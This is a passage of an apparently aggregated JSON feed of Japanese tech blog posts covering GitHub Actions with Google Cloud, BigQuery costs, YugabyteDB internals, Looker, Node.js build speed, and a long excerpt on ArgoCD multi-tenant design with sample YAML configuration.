CloudのAPIを叩く","link":"https://zenn.dev/satohjohn/articles/1645be8e83eab6","contentSnippet":"概要正直難しいと思ってたのですが、資料を読んでいくと表面上、実装は難しくありませんでした。GitHub ActionsとGoogle Cloudを連携する場合、json管理とかしなくても済むし、基本的にやっておいて損はないと思います。ユースケースとしては、例えば、GitHub Actionsで実行した結果(report)をGoogle Cloud Storageにデータを送りたいなどの際に使えると思います。Identity Poolに対して、providerは複数作成できるため、いろんな GitHub Actionsから利用されるようなパターンでも、provider:scri...","isoDate":"2023-09-11T14:17:35.000Z","dateMiliSeconds":1694441855000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"BigQueryのオンデマンド料金におけるコスト管理方法についてメモ","link":"https://zenn.dev/nedoko_dok0dko/articles/f0da04c4a70ea6","contentSnippet":"whatBigQueryにおけるコスト管理方法について、公式ドキュメントを元にメモしたログ今回はオンデマンド料金について記載のため、定額料金(BigQuery Editions)に関しては記載しない 高額請求が来てしまうパターンとはよく見かける/耳にするのは以下のような場合(あくまで一例)大量にデータをスキャンするクエリを実行するselect * 系のクエリを投げる(Table Patitionを利用したテーブルの場合)partitionで指定しないでクエリを投げる料金がかかるクエリをバッチなど利用して連続で実行してしまうTable Patition...","isoDate":"2023-09-11T01:56:24.000Z","dateMiliSeconds":1694397384000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day8","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/8_core_functions_read_io_path","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Write I/O pathを読みました。今回はArchitecture > Core functions > Read I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Read I/O pathI/O Pathはタブレットリーダーが特定されリード処理を実行する単一キーの例で説明することが出来る。Tablet leader identificationユーザーが発行したYQLクエリレイヤに作用するリードリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザリクエストはYQLレイヤで内部キーに変換され、YQLレイヤがタブレットとそれをホストするYB-TServerを発見するのに利用される。YQLレイヤはこれをYB-MasterにたしてRPC呼び出しを実行するために行なう。またそのレスポンスは将来の利用のためにキャッシュされる。その後YQLレイヤはリーダータブレットピアーをホストするYB-TServerに対してリード処理を行なう。このリード処理は内部キーを保持するタブレットのRaftグループのリーダーによって処理される。このリードリクエストを処理するRaftグループのリーダーはDocDBから読み込みを実行し、その結果をユーザーに戻す。Write I/O Pathで説明した通り、YugabyteDBのスマートクライアントではアプリケーションのリクエストを直接適切なYB-TServerに送信することが出来るため、余計なネットワークホップやマスターへのアクセスを省略することが出来る。Read operation performed by tablet leaderkという値をKというプライマリキー行に持つテーブルT1からデータを取得するケースについて考える。またテーブルT1はキー行Kと値行Vを持つものとする。1下記の画像はリード処理について説明している。YugabyteDBはデフォルトでは強整合性の読み取りを採用している。リードクエリはさらに複雑になることもある。YQLクエリレイヤーは式やビルトイン関数、算術演算を含むクエリを処理するfully-optimized2されたクエリエンジンを持っている。SELECT K,V from T1 where K = \'k\'ということ↩↩","isoDate":"2023-09-06T18:37:55.000Z","dateMiliSeconds":1694025475000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"LookMLとは","link":"https://zenn.dev/nedoko_dok0dko/articles/18a4a04b98dcb8","contentSnippet":"これは何?Looker内にある機能である「LookML」について調べたことをまとめた個人的備忘録。 LookMLとはLookMLの紹介 \xa0|\xa0 Looker \xa0|\xa0 Google CloudLookML は、Looker Modeling Language の略です。セマンティックデータモデルを作成するためにLookerで使用される言語です。LookMLを使用して、SQLデータベース内のディメンション、集計、計算、およびデータの関係を記述できます。LookMLは「Looker上で利用できる独自の言語」のことをさす 別にMLや機械学習は関係ないLookerは、Lo...","isoDate":"2023-09-05T10:46:35.000Z","dateMiliSeconds":1693910795000,"authorName":"seno","authorId":"seno"},{"title":"Nodejs(Nest.js)のアプリケーションのbuildを高速化、slim化してみようの会","link":"https://zenn.dev/satohjohn/articles/c05d29f5d68e0c","contentSnippet":"前提DockerによるNode.jsのインストール(pull)はキャッシュされているものとする.dockerignoreは以下の通りnode_modules.git.gitignore*.mddisttest 最初にまとめ軽く、そんなに依存関係が多くないアプリケーションであればnpmでstaging buildでキャッシュ効かせるぐらいでよいかもRUN --mount=type=cache,target= は効果がありそうである (https://zenn.dev/kou64yama/articles/powerful-docker-build-cache...","isoDate":"2023-09-02T10:02:16.000Z","dateMiliSeconds":1693648936000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"mini.surroundによるHTMLタグ編集のemmet対応","link":"https://blog.atusy.net/2023/09/01/mini-surround-emmet/","contentSnippet":"mini.surroundはvim-sandwichのような、括弧やクオーテーションなどで囲まれた文字列を編集するためのNeovim向けプラグインです。選択範囲を()で囲う、文字列の囲いを()から\\"\\"に変更する、\\"\\"による囲いを削除するといったことが可能です。同様にHTMLタグに対する操作にも対応していますが素朴なものです。","isoDate":"2023-09-01T00:00:00.000Z","dateMiliSeconds":1693526400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Lookerのユーザー権限について","link":"https://zenn.dev/nedoko_dok0dko/articles/160cb146e72740","contentSnippet":"これは何Lookerのユーザー権限一覧を個人的にまとめたものhttps://cloud.google.com/looker/docs/admin-panel-users-roles?hl=ja#default_permission_sets ユーザー権限一覧Admin:Developer、Viewer、Standard権限に加え、データソースへの接続やユーザー管理の権限を持つ現時点で確認できる、Adminでしかできない機能については以下データソース(BigQuery等)への接続設定ユーザーの追加・削除・権限の変更ユーザー・グループ単位のフォルダの公開・非公...","isoDate":"2023-08-31T17:22:40.000Z","dateMiliSeconds":1693502560000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day7","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/7_core_functions_write_io_path","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Table Creationを読みました。今回はArchitecture > Core functions > Write I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Write I/O pathWrite I/O pathはYQLレイヤーで処理され、タブレットリーダーによってレプリケーションの準備が行なわれるシングルキーでの書き込みとして例示することが出来る。アトミックなアップデートを共なう複数キーでの分散トランザクションなど複雑なケースについては分散トランザクションに記載する。Write operation processing by YQL layerユーザーが発行したYQLクエリレイヤに作用するライトリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザーリクエストはYQLレイヤで内部キーに変換される。シャーディングで説明するように、それぞれのキーは一つのタブレットが所有する。どのタブレットがキーを所有するか特定するために、YQLレイヤはYB-MasterにRPC1呼び出しを実行する。そのレスポンスは将来の利用のためにキャッシュされる。YugabyteDBはタブレットの場所をキャッシュし直接参照することでネットワークホップを減らすことで、YQLレイヤが直接適切なYB-TServerにホストされるタブレットリーダーにリクエストを送信することが出来るスマートクライアントを持つ。YQLレイヤがローカルノードにタブレットリーダーを見つけた場合、RPCはローカルファンクションコールになりリクエストをシリアライズとデシリアライズしてネットワーク越しに送信する時間を節約することが出来る。その後YQLレイヤはタブレットリーダーをホストするYB-TServerへの書き込みを発行する。この書き込みはキーを所有するRaftグループのタブレットリーダーによって処理される。Preparation of the operation for replication by tablet leader下記の図はタブレットリーダーがレプリケーションを実行する処理を説明している。タブレットのRaft Groupリーダーは以下の処理を実行する。現在実行されている処理が現在のスキーマに対応しているかを判別するキーに対してローカルin-memoryロックマネージャーを利用してロックを取得する。このロック機構はフォロワーには存在しない必要であればデータを読み込む(read-modify-writeや条件付きアップデート命令など)DocDBに書き込まれる変更のバッチを準備する。この書き込みバッチは殆ど最終的にRocksDBに書き込まれるKey-Valueペアに近く、それぞれのキーの末尾に最終的なhybrid timestampが添えられていないだけであるRaft replication of the write operation書き込みのRaftレプリケーション処理の流れは以下のように説明することが出来る。リーダーがバッチをRaft logにアペンドし、書き込みのためのhybrid timestampを選択するRaftを利用しデータをピアーに複製する成功したRaft replicationのデータをローカルのDocDBに反映するユーザーに成功を返すフォロワータブレットはRaftを利用したデータの複製を受けつけ、コミットされた事が分ったタイミングでその複製をローカルのDocDBに反映する。リーダーは以下のようにコミットポイントに於ける後続のRPCリクエストの進行を進める。書き込みバッチを含むRaftエントリーは過半数以上のタブレットRaft Groupピアーに複製されるRaftのサブシステムから\\"Replication Successful\\"のコールバックを取得したあと、リーダーはローカルのDocDBにバッチの書き込みを適用するリーダーからの次の更新でエントリーがコミットされたことがフォロワーに通知され、フォロワーはそれぞれのRocksDBインスタンスにバッチの書き込みを適用する。Response to the clientInformation Pending2Exampleskとvという値をKという行とVという行をもつテーブルT1に挿入する例について考える3。この例ではユーザーアプリケーションがランダムなYugabyteDBサーバにWriteクエリを送信し、そのサーバがリクエストを適切にルーティングすると仮定して簡略化している。特にYCQLではYugabyteDB Smart Clientを使うことで、余分なネットワークホップを避けることが出来る。↩原文ママ。過去のバージョンでも記載無し↩INSERT INTO T1 (K,V) VALUES(\'k\',\'v\')ということ↩","isoDate":"2023-08-30T16:03:36.000Z","dateMiliSeconds":1693411416000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Modifying output format from within R Markdown chunk by `rmarkdown::output_format_dependency`","link":"https://blog.atusy.net/2023/08/28/rmarkdown-output-format-dependency/","contentSnippet":"This article introduces a new feature from rmarkdown 2.24, output_format_dependency().R Markdown users use variety of output formats from variety of packages such as html_document, bookdown::git_book, revealjs::revealjs_presentation, and so onUsually, users specify the YAML frontmatter to choose and tweak formats.output: html_document: toc: trueSome people may be surprised, but the output formats are R functions!And the above example is equivalent to specifying the toc argument to html_document().Output formats already provide customizibility.","isoDate":"2023-08-28T00:00:00.000Z","dateMiliSeconds":1693180800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"YugabyteDBのドキュメントを全部読む Day6","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/6_core_functions_table_creation","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Universe creationを読みました。今回はArchitecture > Core functions > Table Creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Table CrationYugabyteDBではユーザーにより実行されるテーブルの作成はYB-Masterのリーダーが実行する非同期APIによって管理される。YB-MasterはそのAPIでテーブルのスキーマと障害耐性を高めるために形成するRaftグループに所属するYB-Masterでのテーブル作成に必要な他の情報のレプリケーションが完了した段階でAPIの成功を返す。YB-Masterのリーダーがテーブル作成を実行するときは複数のステップが存在する。ValidationYB-Masterリーダーはテーブルスキーマの検証を行ない、指定された数のタブレットを作成する。これらのタブレットはこの段階ではYB-TServerには割り振られていない。ReplicationYB-MasterリーダーはYB-MasterのRaftグループにテーブルスキーマと新しく作成されたタブレット(この時点ではYB-TServerへの割り当て行なわれていない)の複製を行なう。この処理はYB-Masterリーダに障害が発生してもテーブル作成が成功することを保証する。Acknowledgementテーブル作成処理はYB-Masterリーダーに障害が発生しても処理を継続することが出来るため、この段階で非同期テーブル作成APIは成功を返す。ExecutionYB-Masterリーダーはそれぞれのタブレットをレプリケーションファクターとして指定された数だけYB-TServerに割り当てを行なう。このタブレットピアーの配置は指定された障害耐性を実現でき、またタブレットの割り当てがYB-TServerに均等に行なわれるように実行される。タブレットのYB-TServerへの割り当てはタブレットのレプリカが複数クラウド、リージョン、アヴェイラビリティゾーンをまたいで分散するといった追加の制約を満す必要がある。Continuous monitoringYB-Masterリーダーは全てのタブレットの割り当て処理を監視し、その実行状態と完了をユーザーが実行したAPIコールに対して応答する必要がある。Examplesテーブルが4ノードからなるYugabyteDBUniverseに作成される処理について考える。このときテーブルは16のタブレットと3つのレプリケーションファクターを持つとする。YB-Masterリーダーはスキーマを検証する。また16タブレット(合計48のタブレットピアー)を作成し、Raftを利用して過半数のYB-TServerにテーブルの作成に必要なデータを複製する。作成したタブレットをRaftグループを成すYB-TServerの中の指定された数のYB-TServer割り当て、リーダーの選出を行なう。このタブレットに属するキーに対する全てのリードとライトは、タブレットピアーのリーダーとRaftグループが責任を持つ。タブレットが割り当てられると長期に渡る障害か将来のロードバランシングが発生しYB-Masterにオーナーシップを変更されるまで、割り当て先のYB-TServerが所有する。タブレットリーダーをホストするYB-TServerの内の1台に障害が発生した場合、タブレットのRaftグループはI/Oを処理するために即座にリーダーエレクションを実行する。そのためYB-MasterはI/Oにおけるクリティカルパスになることはない。レプリケーション先となる候補を探す。この複製処理は段階的かつGracefulに実行される。","isoDate":"2023-08-23T14:26:45.000Z","dateMiliSeconds":1692800805000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"【ArgoCD\uD83D\uDC19️】KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/08/18/110646","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類マルチテナントパターンをArgoCDで実践する場合にオススメのパターン (★で表現)ArgoCDのNamespacedスコープモードとClusterスコープモードArgoCDのテナントが防いでくれる誤った操作の具体例記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. なぜマルチテナントが必要なのかシングルテナントの場合マルチテナントの場合03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧Clusters as-a-ServiceControl Planes as-a-ServiceNamespaces as-a-Serviceカスタムリソーステナント04. ArgoCDでのテナントパターン実践一覧04-02. Clusters as-a-Service 実践実Clusterテナントオススメしない理由04-03. Control Planes as-a-Service 実践仮想Clusterテナント - ★オススメした理由04-04. Namespaces as-a-Service 実践04-05. カスタムリソーステナントの実践AppProjectテナントCLモード vs. NSモード05. CLモードなArgoCDCLモードなArgoCDとはAppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)オススメしない理由05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはAppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)特にオススメした理由AppProjectテナント例の一覧テナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)オススメしなかった理由テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)オススメした理由テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)特にオススメした理由06. どのような誤った操作を防いでくれるのかマニフェストのデプロイ制限マニフェストをデプロイできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合(\uD83D\uDEAB制限例3) 無認可のClusterをデプロイ先に指定しようとした場合(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合カスタムリソースのReconciliation制限ArgoCD系カスタムリソースをReconciliationできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合07. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、熟成アルトバイエルンです。画像引用元:Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19のマルチテナント化を担当しました。プロダクトが稼働するKubernetes Clusterが数十個あり、Clusterによっては複数のチームが合計100個以上のマイクロサービスを動かしています。このような大規模なマイクロサービスシステムがいくつもある状況下で、ArgoCDのマルチテナント設計の知見を深められたため、記事で解説しました。書きたいことを全部書いたところ、情報量がエグいことになってしまったため、気になる章だけでも拾って帰っていただけるとハッピーです\uD83D\uDE4FKubernetesのマルチテナントパターン (3章)ArgoCDでのテナントパターン実践一覧 (4章)ArgoCDのClusterスコープモードとNamespacedスコープモード (5章)どのような誤った操作を防いでくれるのか (6章)それでは、もりもり布教していきます\uD83D\uDE1702. なぜマルチテナントが必要なのかシングルテナントの場合そもそも、なぜArgoCDにマルチテナントが必要なのでしょうか。例えば、マニフェストのデプロイ先となるプロダクト用Cluster (例:foo、bar、baz) があると仮定します。ArgoCDをシングルテナントにする場合、各プロダクトチームの操作するApplicationを同じテナントに共存させることになります。この場合、単一のargocd-server (ダッシュボード) から全てのApplicationを操作できて便利です。しかし、プロダクト用Cluster数が増えていくにつれて、問題が起こり始めます。例えば、いずれかのプロダクトチームが誤ったApplicationを操作し、結果的に誤ったプロダクト用Clusterにマニフェストをデプロイしてしまう可能性があります。もちろん、システムでインシデントを起こしてやろうという悪意を持った人が、誤ったプロダクト用Clusterを意図的に選ぶ可能性もあります\uD83D\uDE08マルチテナントの場合その一方で、いい感じのマルチテナントにしたとします。プロダクトチームは、認可されたテナントに所属するApplicationにのみを操作でき、反対に無認可のテナントのApplicationは操作できません。これにより、誤ったプロダクト用Clusterにマニフェストをデプロイすることを防げます。03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧ArgoCDのテナント設計を実践する前に、Kubernetesにはどんなマルチテナントパターンがあるのでしょうか。Kubernetesのマルチテナントパターンは、以下に大別できます。 Clustersas-a-Service Control Planesas-a-Service Namespacesas-a-Service カスタムリソーステナント テナント単位 実Cluster 仮想Cluster Namespace ツール固有の論理空間 テナント間でKubernetesリソースを分離できるか Clusterスコープリソース ✅ ✅ ✅ ツールによる Namespacedスコープリソース ✅ ✅ ツールによる ツール AWS EKSGCP GKEAzure AKEKubeadmなど Kcptensile-kubevclusterVirtualClusterなど Namespaceを増やすだけなので特別なツール不要 ArgoCDのAppProjectCapsuleのTenantkioskのAccountKubeZooのTenantなど ▶ 他のマルチテナントの分類方法について\\"ソフトマルチテナンシー\\" と \\"ハードマルチテナンシー\\" といった分類方法もあります。この分類方法では、テナント間の分離度の観点で各マルチテナントを種別します。ソフトマルチテナンシーは、互いに信頼できる前提の上で、テナント間を弱く分離します。その一方で、ハードマルチテナンシーは、互いに信頼できない前提の上でテナント間を強く分離します。分離度がソフトとハードのいずれであるかに客観的な指標がなく、やや曖昧な種別になってしまうため、本記事の X as-a-Service の方が個人的には好みです♡♡♡The Kubernetes Book: 2024 Edition (English Edition)Multi-tenancy | KubernetesMulti-tenancy - EKS Best Practices GuidesClusters as-a-ServiceClusters as-a-Serviceは、テナントごとに独立したClusterを提供します。ツールとして、AWS EKS、GCP GKE、Azure AKE、Kubeadmなどがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Control Planes as-a-ServiceControl Planes as-a-Serviceは、テナントごとに独立したコントロールプレーン (言い換えば仮想Cluster) を提供します。ツールとして、Kcp、tensile-kube、vcluster、VirtualClusterなどがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Namespaces as-a-ServiceNamespaces as-a-Serviceは、テナントごとに独立したNamespaceを提供します。Namespaceを増やすだけなため、ツールは不要です。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?カスタムリソーステナントカスタムリソーステナントは、テナントごとにツール固有の論理空間 (例:ArgoCDのAppProject、CapsuleのTenant、kioskのAccount、KubeZooのTenantなど) を提供します。ツールによっては、X as-a-Service も兼ねている場合があります。今回紹介するAppProjectは、前述の『Namespace as-a-Service』を兼ねています。AppProjectについては、カスタムリソーステナント で解説しています。04. ArgoCDでのテナントパターン実践一覧お待たせしました。ここからは、KubernetesのマルチテナントパターンをArgoCDで具体的に実践し、おすすめのパターン実践を解説していきます。なお、オススメするものを ★ としています。 実Clusterテナント 仮想Clusterテナント Namespaceテナント AppProjectテナントCLモード AppProjectテナントNSモード 対応するテナントパターン Clustersas-a-Service Control Planesas-a-Service Namespacesas-a-Service カスタムリソーステナント ArgoCDがテナント間で占有 / 共有 占有 占有 占有 共有 占有 テナント間でKubernetesリソースを分離できるか Namespacedスコープリソース ✅ ✅ ✅ ✅ ✅ Clusterスコープリソース ✅ ✅ オススメ ★ ★★ How many do you need? Argo CD Architectures Explained - 2024 Update | Akuity以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。04-02. Clusters as-a-Service 実践実Clusterテナント実Clusterテナントは、Clusters as-a-Serviceなテナントの実践であり、実際のClusterをテナントの単位とします。後述の仮想Clusterと対比させるために、\\"実Cluster\\" と呼ぶことにします。各プロダクトチームは、実Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。オススメしない理由実Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。半年以内にアップグレードしないとサポートが切れるKubernetesクラスターが33個もあって、泣いちゃった— 長谷川 広樹 (俺です) (@Hiroki__IT) January 18, 2023 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - テナントを増やすために実Clusterを用意する必要があり、作業量が多い。 ➡︎ IaCツールで実Clusterを用意するようにすれば作業量を減らせるが、やっぱりとてもつらい\uD83D\uDE2D 安全性(セキュリティ) ClusterからClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に実Clusterを保守しないといけない。(例:アップグレード、機能修正など) ➡︎ 回避できず、とてもつらい\uD83D\uDE2D 性能 Clusterのハードウェアリソースを他のテナントと奪い合うことなく、これを独占できる。 - ➡︎ - 信頼性 テナントごとに実Clusterが独立しており、他の実Clusterから障害の影響を受けない。 - ➡︎ - 04-03. Control Planes as-a-Service 実践仮想Clusterテナント - ★仮想Clusterテナントは、Control Planes as-a-Serviceなテナントの実践であり、仮想Clusterをテナントの単位とします。各プロダクトチームは、仮想Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Using Argo CD with vclusters. Managing deployment to multiple… | by Daniel Helfand | Argo Projectオススメした理由仮想Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにマニフェストで定義した仮想Clusterを用意するだけでよく、実Clusterを用意することと比べて作業量が少ない。 - ➡︎ - 安全性(セキュリティ) 仮想ClusterからホストClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に仮想Clusterを保守しないといけない。(例:アップグレード、機能修正など) ➡︎ 仮想Clusterに関する知見を持つ組織であれば、各テナントで保守できる。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとに仮想Clusterが独立しており、他の仮想Clusterから障害の影響を受けない。 - ➡︎ - 04-04. Namespaces as-a-Service 実践Namespaceテナントは、Namespaces as-a-Serviceなテナントの実践であり、Namespaceをテナントの単位とします。後述の AppProjectテナント は二重のテナントを持ち、Namespaceテナントも兼ねています。そのため、ここではNamespaceテナントの解説は省略します。04-05. カスタムリソーステナントの実践AppProjectテナントAppProjectテナントは、カスタムリソーステナントの実践であり、NamespaceとAppProjectをテナントの単位とします。AppProjectテナントは、二重のテナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持ち、\\"あらゆる面から\\" マニフェストのデプロイを制限します。特に、AppProjectはNamespaceスコープなカスタムリソースであり、自身に所属するApplicationを一括して制限します。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foo # 自身に所属するApplicationを制限するspec: ...apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: infra-application namespace: foospec: # foo-tenantに所属する project: foo-tenant ...Argo CD in Practice: The GitOps way of managing cloud-native applications (English Edition)Projects - Argo CD - Declarative GitOps CD for Kubernetes▶ カスタムリソースの仕様について.spec.scopeキーからも分かる通り、AppProjectはNamespacedスコープなカスタムリソースであり、任意のNamespaceを設定できます\uD83D\uDC4DapiVersion: apiextensions.k8s.io/v1kind: CustomResourceDefinitionmetadata: labels: app.kubernetes.io/name: appprojects.argoproj.io app.kubernetes.io/part-of: argocd name: appprojects.argoproj.iospec: group: argoproj.io names: kind: AppProject ... # Namespacedスコープなカスタムリソースであるとわかる scope: Namespaced... argo-cd/manifests/crds/appproject-crd.yaml at master \xb7 argoproj/argo-cd \xb7 GitHubExtend the Kubernetes API with CustomResourceDefinitions | KubernetesCLモード vs. NSモードArgoCDには、Clusterスコープモード と Namespacedスコープモード (以降、\\"CLモード\\" と \\"NSモード\\") があります。スコープモードに応じて、AppProjectテナントの設計方法が異なります。本章では、CLモードとNSモードの両方でAppProjectテナントを解説していきます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes05. CLモードなArgoCDCLモードなArgoCDとはCLモードなArgoCDの場合、各テナント間で共有のArgoCDを管理します例えば、AppProjectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。別途、ArgoCD専用のNamespace (argocd) を用意し、ここに関連するKubernetesリソース (例:ConfigMap) を配置します。各プロダクトチームは、AppProjectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesArgoCD: Multi-tenancy strategy. Introduction | by Geoffrey | MediumAppProjectNSモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App Of Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com # CLモードでは設定が必要である sourceNamespaces: - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。一方で後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。そのため、.spec.sourceNamespacesキーで、特定のNamespaceのApplicationがこのAppProjectに所属できないように、ApplicationのNamespaceを制限しています。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)NSモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm # 専用のNamespaceを設定する namespace: argocddata: # CLモードでは設定が必要である # 全てのNamespaceを指定したい場合は、ワイルドカードを設定する application.namespaces: \\"*\\".application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。一方での後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。--application-namespacesオプションで、任意のNamespaceにアクセスするための認可を設定できます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes▶ --application-namespacesオプションの設定方法についてargocd-cmd-params-cmの代わりに、例えば以下のようにPodに引数を直接渡しても良いです\uD83D\uDE46\uD83C\uDFFB‍例えば、以下のような実装になります。apiVersion: v1kind: Podmetadata: name: argocd-server namespace: argocdspec: containers: - name: argocd-server image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-server # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ...apiVersion: v1kind: Podmetadata: name: argocd-application-controller namespace: argocdspec: containers: - name: argocd-application-controller image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-application-controller # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ... `argocd-application-controller` Command Reference - Argo CD - Declarative GitOps CD for Kubernetes`argocd-server` Command Reference - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)NSモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm # 専用のNamespaceを設定する namespace: argocddata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:foo, *, *, foo/*/*, allow p, role:bar, *, *, bar/*/*, allow p, role:baz, *, *, baz/*/*, allow g, foo-team, role:foo g, bar-team, role:bar g, baz-team, role:baz scopes: \\"[groups]\\"認証済みグループ (foo-team、bar-team、baz-team) に対して、無認可のAppProject (foo、bar、baz) に所属するApplicationを操作できないように、認可スコープを制限しています。▶ AppProjectの認可定義の記法についてCasbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetesオススメしない理由CLモードなArgoCDのAppProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) 